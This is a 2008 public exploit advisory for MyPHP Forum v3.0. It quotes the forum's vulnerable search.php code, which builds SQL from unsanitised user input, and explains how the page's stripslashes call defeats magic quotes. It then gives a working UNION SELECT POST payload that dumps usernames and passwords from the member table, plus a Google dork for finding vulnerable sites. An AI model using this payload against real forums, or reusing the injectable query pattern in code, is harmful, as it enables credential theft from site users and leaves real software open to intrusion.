#=================================================================================================# 
#                     ____            __________         __             ____  __                  #
#                    /_   | ____     |__\_____  \  _____/  |_          /_   |/  |_                #
#                     |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\               #
#                     |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |                 #
#                     |___|___|  /\__|  /______  /\___  >__|            |___||__|                 #
#                              \/\______|      \/     \/                                          #
#=================================================================================================#
#                                    This is a Public Exploit.                                    #
#           Date: 03/01/2008 [dd,mm,yyyy]                                  #
#                                                                                                 #
#                                      !!!Happy New Year!!!                                       #
#                                                                                                 #
#=================================================================================================#
#   MyPHP Forum v3.0 (Final) And Maybe Lower Multiple Sql Injection Vulnerabilities (Mq=Off/On)   #
#                                                                                                 #
#                                       Vendor:   www.myphp.ws                                    #
#                                     Severity:   Highest                                         #
#                                       Author:   The:Paradox                                     #
#                                                                                                 #
#=================================================================================================#                                                                                                 
#                                       Proud To Be Italian.                                      #
#=================================================================================================#
"""                                                                                                
                                            Related Codes:
                                         search.php; line 14:

if($_POST['submit']) {
  $searchtext = $_POST['searchtext'];
  $searchuser = $_POST['searchuser'];

  if(!strstr($searchtext, '"')) {
    $keywords = explode(" ", $searchtext);
    for($i = 0; $i < count($keywords); $i++) {
      if($sqladdon != "") {
        $sqladdon .= " AND p.message LIKE '%$keywords[$i]%'";
      } else {
        $sqladdon .= "p.message LIKE '%$keywords[$i]%'";
      }
    }
  } else {
    $phrase = trim(stripslashes(strstr($searchtext, '"')));
    $quotesarr = explode('"', $phrase);
    $quotes = count($quotesarr);
    $phrasecount = $quotes - (count(explode('" "', $phrase)) + 1);

    for($i = 0; $i < $quotes; $i++) {
      if($i != 0 && $i != $quotes - 1) {
        if($phraseoff != "yes") {
          $phraselist .= "$quotesarr[$i]|";
          $phraseoff = "yes";
        } else {
          $phraseoff = "no";
        }
      }
    }

    $phrasearr = explode("|", $phraselist);
    $phrases = count($phrasearr) - 1;

    for($i = 0; $i < $phrases; $i++) {
      if($sqladdon != "") {
        $sqladdon .= " AND p.message LIKE '%$phrasearr[$i]%'";
      } else {
        $sqladdon .= "p.message LIKE '%$phrasearr[$i]%'";
      }
    }
    
    $newsearchtxt = trim(str_replace("$phrase", "", stripslashes($searchtext)));

    if($newsearchtxt != "") {
      $keywords = explode(" ", $newsearchtxt);
    }

    for($i = 0; $i < count($keywords); $i++) {
      if($sqladdon != "") {
        $sqladdon .= " AND p.message LIKE '%$keywords[$i]%'";
      } else {
        $sqladdon .= "p.message LIKE '%$keywords[$i]%'";
      }
    }
  }

  if($searchuser != "") {
    if($sqladdon != "") {
        $sqladdon .= " AND p.author LIKE '%$searchuser%'";
      } else {
        $sqladdon .= "p.author LIKE '%$searchuser%'";
      }
  }

  if($sqladdon != "" ) {
    search_header();
    $ttnum = 1;    // Now the Vulnerable Query =)
    $query = mysql_query("SELECT t.*, f.name AS forum FROM $db_post p, $db_topic t, $db_forum f WHERE $sqladdon AND t.tid=p.tid AND f.fid=t.fid") or die(mysql_error());
    
"""
#=================================================================================================#
# Proof Of Concept / Bug Explanation:                                                             #
#                                                                                                 #
# A lot of Sql injection Vulnerabilities were found in this platform, but most of them work only  #
# with the server configuration Magic Quotes Off.                                                 #
# Whatever in Search.php there is a $searchtext is not propelly checked before the mysql_query.   #
# The page does stripslashes to $searchtext var making us able to do an Sql injection with the    #
# configuration of Magic Quotes On.                                                               #
#                                                                                                 #
#=================================================================================================#
# Post Query :                                                                                    
#                                                                                                 
# submit=Search&searchtext=%'/**/UNION/**/SELECT/**/0,0,0,concat('<BR/><h3>-=ParadoxGotThisOne=-</h3><BR/><h4>Username:',username,'<BR/>Password:',password,'</h4>'),0,0,0,0,0,0/**/FROM/**/[Prefix]_member/**/WHERE/**/uid=[Id]/*"
#                                                                                                 
# Attenction: the last " is needed (see code).                                                    
#                                                                                                 
#=================================================================================================#
# Other injection vulnerabilities were found, but them were not pulished.                         #
#=================================================================================================#
# Google Dork=> Powered by MyPHP Forum v3.0                                                       #
#=================================================================================================#
# Use this at your own risk. You are responsible for your own deeds.                              #
#=================================================================================================#